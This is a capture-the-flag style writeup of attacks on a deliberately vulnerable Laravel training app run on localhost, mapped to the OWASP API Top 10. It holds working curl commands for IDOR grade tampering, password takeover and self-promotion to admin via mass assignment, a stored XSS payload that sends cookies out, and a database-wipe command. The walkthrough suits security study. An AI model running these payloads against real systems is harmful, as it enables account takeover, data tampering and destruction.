> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# Generic University — OWASP API Security Top 10 Lab Writeup
- URL: https://taiwanding.com/en/generic-university-api-security-lab-writeup/
- Published: 2026-07-17T03:32:20.000Z
- Updated: 2026-07-20T07:17:57.000Z
- Author: Kevin Chen
- Tags: #en, #en-machine

**Target:** InsiderPhD's *Generic University* — a deliberately vulnerable Laravel 7 app built to demonstrate the OWASP API Security Top 10 (2019)  
**Environment:** local, `http://localhost:8000`  
**Result:** all 15 objectives completed. Vulnerability classes demonstrated: API2 (Broken User Authentication), API3 (Excessive Data Exposure), API5 (Broken Function Level Authorization), API6 (Mass Assignment), API7 (Security Misconfiguration), plus one stored / blind XSS and a broken destructive endpoint.

This writeup comes in two halves: first, what it takes to get a broken five-year-old repo running (it shipped with several bugs and hangs outright on a modern host), then the actual attack chain against the running instance — fully black-box, one objective at a time.

## Part 0 — Environment setup (and the five fixes it needs)

The README points at a Docker "page", but the `master` branch contains **no Docker files at all** — that setup lives only in an external wiki. The app is Laravel 7, which **pins PHP to 8.0.x** (`composer.json` requires `^8.0.1`; Laravel 7 won't run on PHP 8.1+), whereas current Kali defaults to PHP 8.3/8.4\. Following the docs and running `composer update` \+ `php artisan serve` fails outright on a modern host.

The clean, reproducible approach is a self-contained Docker stack: pin PHP to 8.0 and use `composer install` semantics against a corrected lock file. Below is that stack, plus the five source-level fixes required before the app will migrate, seed, and serve.

Here's a one-shot fix script\~

[setupsetup.sh7 KBdownload-circle](https://taiwanding.com/content/files/2026/07/setup.sh "Download")

### Docker stack

`Dockerfile`:

```dockerfile
FROM php:8.0-apache
RUN apt-get update && apt-get install -y --no-install-recommends \
        git unzip libonig-dev libzip-dev default-mysql-client \
    && docker-php-ext-install pdo_mysql mbstring bcmath zip \
    && a2enmod rewrite \
    && rm -rf /var/lib/apt/lists/*
ENV APACHE_DOCUMENT_ROOT=/var/www/html/public
RUN sed -ri -e 's!/var/www/html!${APACHE_DOCUMENT_ROOT}!g' /etc/apache2/sites-available/*.conf \
    && sed -ri -e 's!/var/www/!${APACHE_DOCUMENT_ROOT}!g' /etc/apache2/apache2.conf /etc/apache2/conf-available/*.conf
COPY --from=composer:2 /usr/bin/composer /usr/bin/composer
WORKDIR /var/www/html
COPY docker-entrypoint.sh /usr/local/bin/entrypoint.sh
RUN chmod +x /usr/local/bin/entrypoint.sh
ENTRYPOINT ["entrypoint.sh"]
CMD ["apache2-foreground"]

```

`docker-compose.yml` uses `mariadb:10.6` (multi-arch, sidestepping the `caching_sha2_password` friction of MySQL 8 as well as the fact that `mysql:5.7` has no arm64 image), and maps host `8000` → container `80`. The entrypoint copies `.env`, points the DB at the `db` service, runs `composer` \+ `key:generate`, waits for the database to come up, then migrates and seeds once.

### Fix 1 — stale `composer.lock` (missing `rebing/graphql-laravel`)

`composer.json` requires `rebing/graphql-laravel ^6.1`, but the committed `composer.lock` was generated before that package was added and simply doesn't contain it. `composer install` checks the lock file against `composer.json`, finds a mismatch, and refuses to budge:

```
Required package "rebing/graphql-laravel" is not present in the lock file.

```

Because PHP inside the container is already pinned to 8.0, running `composer update` here is actually clean and safe (`update` is dangerous on a modern host's PHP; here the environment is correct). It regenerates a valid lock that includes the GraphQL package — which matters, since "access the GraphQL API" is itself one of the objectives.

### Fix 2 — every core seeder is commented out

`database/seeds/DatabaseSeeder.php` shipped with all five data-building seeders disabled, leaving only the "extra grades" one:

```php
//$this->call(RoleSeeder::class);
//$this->call(UserSeeder::class);
//$this->call(UniClassSeeder::class);
//$this->call(GradesSeeder::class);
//$this->call(VulnerabilitySeeder::class);
$this->call(ExtraGradesTableSeeder::class);   // only this one runs

```

So `db:seed` creates no roles/users/classes/grades, and then crashes inside the one seeder that does run — because it depends on all of the others. Uncommenting those five lines restores the original order (Role → User → UniClass → Grades → Vulnerability → ExtraGrades).

### Fix 3 — `UserSeeder` doesn't create enough users for `ExtraGrades`

`ExtraGradesTableSeeder` opens with `\App\User::findOrFail(9)`, but `UserSeeder` only creates 5 students + 1 admin + 1 teacher = **7 users** (ids 1–7), so id 9 simply doesn't exist and the seeder throws a `ModelNotFoundException`. Bumping the student loop from 5 to 10 makes id 9 a valid student, matching the seeder's intent (a target user with lots of grades):

```php
for ($i = 0; $i < 10; $i++)   // was < 5

```

### Fix 4 — `ExtraGrades` primary-key collision

With fix 3 applied, seeding gets a little further and then dies on:

```
Integrity constraint violation: 1062 Duplicate entry '1-9' for key 'PRIMARY'
(SQL: insert into `uni_class_user` (`uni_class_id`, `user_id`) values (1, 9))

```

`ExtraGradesTableSeeder` tries to use `$class->users()->save($user)` to *add* user 9 to every class, but `UniClassSeeder` has already enrolled every student in every class, and the pivot table's composite primary key `(uni_class_id, user_id)` forbids duplicates. That enrollment line is redundant; removing it (keeping only the part that inserts the extra grades) lets the seed run to completion.

With fixes 1–4 in place, the stack migrates, seeds 12 users + 5 classes + grades, and serves the app at `http://localhost:8000`.

### Fix 5 (discovered mid-exploitation) — the admin `delete` endpoint's own FK bug

The admin API's `delete` feature `TRUNCATE`s the tables in the wrong order and never disables foreign-key checks, so it dies the moment it hits the first referenced table:

```
Cannot truncate a table referenced in a foreign key constraint
(`generic`.`grades`, CONSTRAINT `grades_uni_class_id_foreign` ...)
(SQL: truncate table `uni_classes`)

```

This is an app bug, not an environment problem — details under objective #14 below. A correct implementation would wrap those truncates in `SET FOREIGN_KEY_CHECKS=0; ... SET FOREIGN_KEY_CHECKS=1;`, or delete in dependency order.

## Part 1 — Recon

`whatweb` fingerprint: Apache 2.4.56, PHP 8.0.30, Laravel, Bootstrap 4.4.1, jQuery 3.5.0, plus the signature `XSRF-TOKEN` / `laravel_session` cookie pair, and a home-page title of *"Generic University - View your Grades"*.

Two rounds of enumeration mattered most:

- **Web routes** (`ffuf` with `common.txt` against `/`) surfaced the real Blade routes: `register`, `login`, `home`, `contact`, `admin`, plus a `web.config` leak and the usual Apache noise (`.ht*`, `server-status`, `cgi-bin`).
- **API endpoints** (`ffuf` against `/api/FUZZ`) plus disciplined REST enumeration of the collections the app exposes by design.

The single most important finding of recon is that this API uses **mixed auth guards** — different endpoints are protected in different ways, and this shaped the entire attack chain:

| Endpoint                            | Guard               | Behavior                                      |
| ----------------------------------- | ------------------- | --------------------------------------------- |
| GET /api/users, /api/users/{id}     | none                | fully open, leaks every field                 |
| GET /api/classes, /api/classes/{id} | none                | fully open                                    |
| GET /api/grades, /api/grades/{id}   | web session         | any logged-in user can read **all** grades    |
| GET /api/user (singular)            | token (auth:api)    | 302 → /login even with a valid session cookie |
| GET /api/admin                      | role (role\_id = 1) | 302 until you become an admin                 |

The compiled front-end bundle (`/js/app.js`) is empty, so this SPA never actually drives the API — `/api/*` is a standalone API you hit directly, and the token that `auth:api` wants is never handed to the browser. That dead end is exactly what makes "mixed guards" the key insight: you **don't need** that token, because all the valuable data sits behind the weaker guards (session / role / none).

## Part 2 — Objectives (mapped to the OWASP API Top 10)

### #1 — Find the admin's email *(API3: Excessive Data Exposure / API2: Broken User Authentication)*

`GET /api/users` returns every user with no authentication and serializes the whole model — `email`, `email_verified_at`, `role_id`, timestamps, all of it. Cross-referencing `role_id` (1 = Admin, 2 = Student, 3 = Teacher, reverse-engineered from `RoleSeeder`'s insertion order) pinpoints the administrator: user id 11, *"IT Raheem Thompson"*, `ijakubowski@gmail.com`.

```bash
curl -s http://localhost:8000/api/users

```

**Impact:** a single public endpoint leaks the complete user roster, right down to internal role assignments — enough on its own to single out the admin account as a target.

### #2 — Brute-force the API for new endpoints *(probing)*

Fuzzing `/api/FUZZ`, beyond the obvious collections, turned up two auth-gated endpoints that reveal themselves via `302 → /login`:

```
/api/user    302   (current-user endpoint, token-guarded)
/api/admin   302   (admin API — target of #9)

```

Here, `302` and `401/403/405` carry just as much intel as `200`: they flag endpoints that exist but require authentication or a different method. A generic `api-endpoints.txt` wordlist is useless against this box (it only produces a pile of trailing-slash redirect noise) — the real attack surface follows the app's own nouns (`users`, `classes`, `grades`, `user`, `admin`).

### #3 — Read every student's grades in a class *(API1: BOLA / API3)*

`/api/grades` sits behind the **web session** guard, so any registered student (see #5) can open it — and it returns **every user's grades**, not just the caller's. Grouping by `uni_class_id` gives you every student's score in a given class:

```bash
curl -s -b "$CK" http://localhost:8000/api/grades \
 | python3 -c "import sys,json;g=json.load(sys.stdin);c=3;[print(x['user_id'],x['grade']) for x in g if x['uni_class_id']==c]"

```

This is precisely the *"Information disclosure of grades"* the IT team logged and then left unaddressed (see #10). Each grade object exposes `{id, grade, comments, user_id, uni_class_id}` — enough to lead straight into #4.

### #4 — Change someone else's grade *(API1: BOLA — write)*

The same session cookie plus a CSRF token lets you do object-level writes. `PUT /api/grades/{id}` accepts and applies modifications to **any** grade, not just the caller's own:

```bash
CSRF=$(curl -s -b "$CK" http://localhost:8000/home | grep -oP 'name="csrf-token" content="\K[^"]+')
curl -s -i -b "$CK" -X PUT http://localhost:8000/api/grades/3 \
  -H "X-CSRF-TOKEN: $CSRF" -H "Content-Type: application/json" -H "Accept: application/json" \
  -d '{"grade":100,"comments":"changed via IDOR"}'

```

Grade 3 (belonging to someone else) flips from 37 to 100\. **Impact:** any authenticated user can tamper with academic grades without authorization.

### #5 & #8 — Create an account and log in *(fundamentals)*

Registration is the standard Laravel web flow — `POST /register` with fields `name`, `email`, `password`, `password_confirmation`, plus the CSRF `_token`. On success it 302s → `/home` and logs you in automatically, and the session cookie you get back authenticates web routes as well as (crucially) the session-guarded `/api/grades` used above. (The token-guarded `/api/user` still 302s — which actually confirms the "mixed guards" model rather than a broken cookie, since the same cookie against `/home` returns 200.)

### #6 — Access the GraphQL API *(API7: Security Misconfiguration)*

`rebing/graphql-laravel` exposes both `/graphql` and the **`/graphiql` IDE**, and **introspection is enabled**:

```bash
curl -s -b "$CK" -X POST http://localhost:8000/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __schema { queryType { fields { name } } } }"}'

```

The schema advertises `users`, `grades`, `vulnerabilities`, `class`, and `roles`. Leaving a live IDE + introspection enabled in a shipped app is a misconfiguration in itself, and this GraphQL layer typically doesn't apply the authorization the REST side has — it's a second, parallel path to the same sensitive data.

### #7 — Change someone else's password *(API6: Mass Assignment)*

`PUT /api/users/{id}` is mass-assignable, so an attacker can write arbitrary fields to any user object — including `password`. But this update path **doesn't hash the password on save** (only the registration controller calls `Hash::make`), so writing plaintext just leaves a useless credential (Laravel's `Hash::check` compares against a bcrypt hash, which fails). The clean approach is to write a **pre-computed bcrypt hash**, so the stored value is itself a valid hash:

```bash
NEWPASS='Hacked12345'
HASH=$(docker exec generic-university-app-1 php -r "echo password_hash('$NEWPASS', PASSWORD_BCRYPT);")
CSRF=$(curl -s -b "$CK" http://localhost:8000/home | grep -oP 'name="csrf-token" content="\K[^"]+')
curl -s -b "$CK" -X PUT http://localhost:8000/api/users/1 \
  -H "X-CSRF-TOKEN: $CSRF" -H "Accept: application/json" \
  --data-urlencode "password=$HASH"
# then log in as user 1 (gabshire@yahoo.com / Hacked12345) → 302 /home

```

Logging in as user 1 with the new password confirms account takeover. **Two bugs in one shot:** an object-level write against someone else, plus the fact that this path doesn't hash the password.

> Debugging note: the first attempt returned `Column 'password' cannot be null`. The root cause was the shell, not the app — `password_hash('...!')` contained a `!`, and inside double quotes in interactive Bash the `!` triggers history expansion, mangling the command and leaving `$HASH` empty. Keeping the password purely alphanumeric (or using single quotes) fixes it. The target has `APP_DEBUG=true` enabled, which let me read that exact exception directly instead of guessing.

### #9 — Access the admin API *(API5: Broken Function Level Authorization)*

`/api/admin` is gated only by `role_id = 1`. After self-escalation (#11), it returns a self-documenting manual:

```json
[
 {"endpoint":"/",       "desc":"Shows this manual"},
 {"endpoint":"restore", "desc":"Restores the database from last manual backup"},
 {"endpoint":"delete",  "desc":"deletes everything from the database NO BACKUP"}
]

```

Reaching an admin-only API purely by flipping your own role is a textbook case of broken function-level authorization — and this manual hands you the two destructive endpoints used in #14/#15 on a plate.

### #10 — Find the vulnerabilities IT overlooked *(API5 / API7)*

The admin console at **`/admin` opens with no authentication whatsoever** (a second BFLA, distinct from the role-gated API), and its `/admin/security` page lists the vulnerabilities the IT team logged and then left unfixed:

- *Information disclosure of grades* — "knowing a user and class ID lets you pull any student's grades" (verified in #3)
- *IDOR on most endpoints* — "most of the API has IDOR" (verified in #4, #7)

These amount to an official stamp of approval on the bugs exploited elsewhere in this writeup.

### #11 — Make yourself an admin *(API6: Mass Assignment)*

The registration form has no `role_id` field, but the backend update accepts it anyway. Sending `role_id: 1` to your own user object promotes you to administrator:

```bash
curl -s -i -b "$CK" -X PUT "http://localhost:8000/api/users/13" \
  -H "X-CSRF-TOKEN: $CSRF" -H "Content-Type: application/json" -H "Accept: application/json" \
  -d '{"role_id":1}'
# verify: GET /api/users/13 → "role_id":1

```

The freshly registered `jimbo` (id 13) becomes an admin. This is the single most impactful flaw on the box: a self-service, unauthenticated-to-admin privilege escalation that directly unlocks #9, #12, #13, and #14.

### #12 — Access the admin console *(API5)*

`/admin` was already reachable without authentication (see #10); with the escalated account, it's fully "yours". The console links to `/admin/security`, which is the render sink for #13.

### #13 — Trigger blind XSS in the admin backend, verified with the admin account *(Stored / Blind XSS)*

The **public** vulnerability-report form (`POST /vulnerability`, fields `email`, `issue`, `information`) stores the submitted content and renders it **unescaped** in `/admin/security`. Inject a script into `issue`:

```bash
PAYLOAD='<script>new Image().src="/pwned_by_jimbo?c="+document.cookie</script>'
curl -s -i -b "$CK" -X POST http://localhost:8000/vulnerability \
  -H "X-CSRF-TOKEN: $CSRF" \
  --data-urlencode "email=attacker@evil.com" \
  --data-urlencode "issue=$PAYLOAD" \
  --data-urlencode "information=blind xss test"

```

`/admin/security` then contains the raw, unescaped `<script>…</script>`, and opening the backend in a browser as an admin fires it — yielding out-of-band confirmation in the server log:

```
GET /pwned_by_jimbo?c=... HTTP/1.1" 404 ... "http://localhost:8000/admin/security" "... Edg/150.0.0.0"

```

The `Referer` (`/admin/security`) and a real browser `User-Agent` prove the script executed inside the admin's session. The `404` is irrelevant — the fact that the request *was made* is the proof.

**A defensive detail worth noting:** the exfiltrated `document.cookie` contains `XSRF-TOKEN` but **not** `laravel_session`, because the session cookie is set `HttpOnly`. This XSS can't steal the session itself (no direct session hijack), but it can still act on the victim's page on their behalf and read the CSRF token. That's exactly what `HttpOnly` exists for — and it's the one thing this app got right.

### #14 — Delete everything *(API5 — destructive admin feature)*

`GET /api/admin/delete` can be triggered by an escalated admin, and it does start wiping the database — but it hits the app's own bug (fix 5): it `TRUNCATE`s the tables in an order that violates foreign-key constraints and aborts on `uni_classes` with a `QueryException`. The *vulnerability* — an escalated user triggering an irreversible, backup-less mass delete — has been demonstrated; the app is simply too broken to finish the job. What it meant to do, done correctly, would be:

```bash
docker exec generic-university-app-1 mysql -uuni -ppassword generic -e "
SET FOREIGN_KEY_CHECKS=0;
TRUNCATE grades; TRUNCATE uni_class_user; TRUNCATE uni_classes;
TRUNCATE vulnerabilities; TRUNCATE users; TRUNCATE roles;
SET FOREIGN_KEY_CHECKS=1;"

```

**Impact:** a self-escalated user can trigger an irreversible, explicitly "NO BACKUP" wipe of the database.

### #15 — Restore everything *(recovery)*

The admin's `restore` endpoint depends on a "last manual backup", but the exposed manual offers no way to create one — and, by design of #14, a successful delete also removes the very admin account needed to authorize a restore, locking the caller out. So full recovery is achieved by re-seeding the corrected database:

```bash
docker compose down -v && docker compose up -d   # re-seeds 12 users + 5 classes + grades

```

(The freshly registered attacker account doesn't come back after re-seeding, which is expected.)

## Part 3 — Takeaways

- **Mixed auth guards are a trap for defenders.** Consistency matters: `/api/user` wants a token, `/api/grades` takes a session, `/api/users` wants nothing at all — which means the strongest control is effectively moot, since an attacker just walks through the weakest door to the same data.
- **Mass assignment is the spine of this app.** A single over-permissive `update` gives you object-level writes to grades and users, password changes, *and* self-promotion to admin. Whitelisting fillable fields (and never accepting `role_id` from the client) shuts down most of the chain.
- **Not hashing passwords on the update path** is a subtle but high-impact bug — the field "works" (it stores something), but silently stores plaintext, and its exploitation (injecting a bcrypt hash) is highly instructive.
- **`HttpOnly` did its job.** The blind XSS fired, yet couldn't carry off the session cookie — a concrete example of defense in depth: even when the primary control (output encoding) fails, the blast radius stays contained.
- **Excessive data exposure + open GraphQL introspection** together mean the same sensitive data is reachable by multiple parallel paths; fixing a single REST endpoint while ignoring the GraphQL resolvers leaves the barn door wide open.

*Result: 15/15 objectives completed.* *This box is an honest demonstration of how a handful of ordinary Laravel mistakes stack layer upon layer until they chain into a full "unauthenticated → admin → database wipe" attack path.*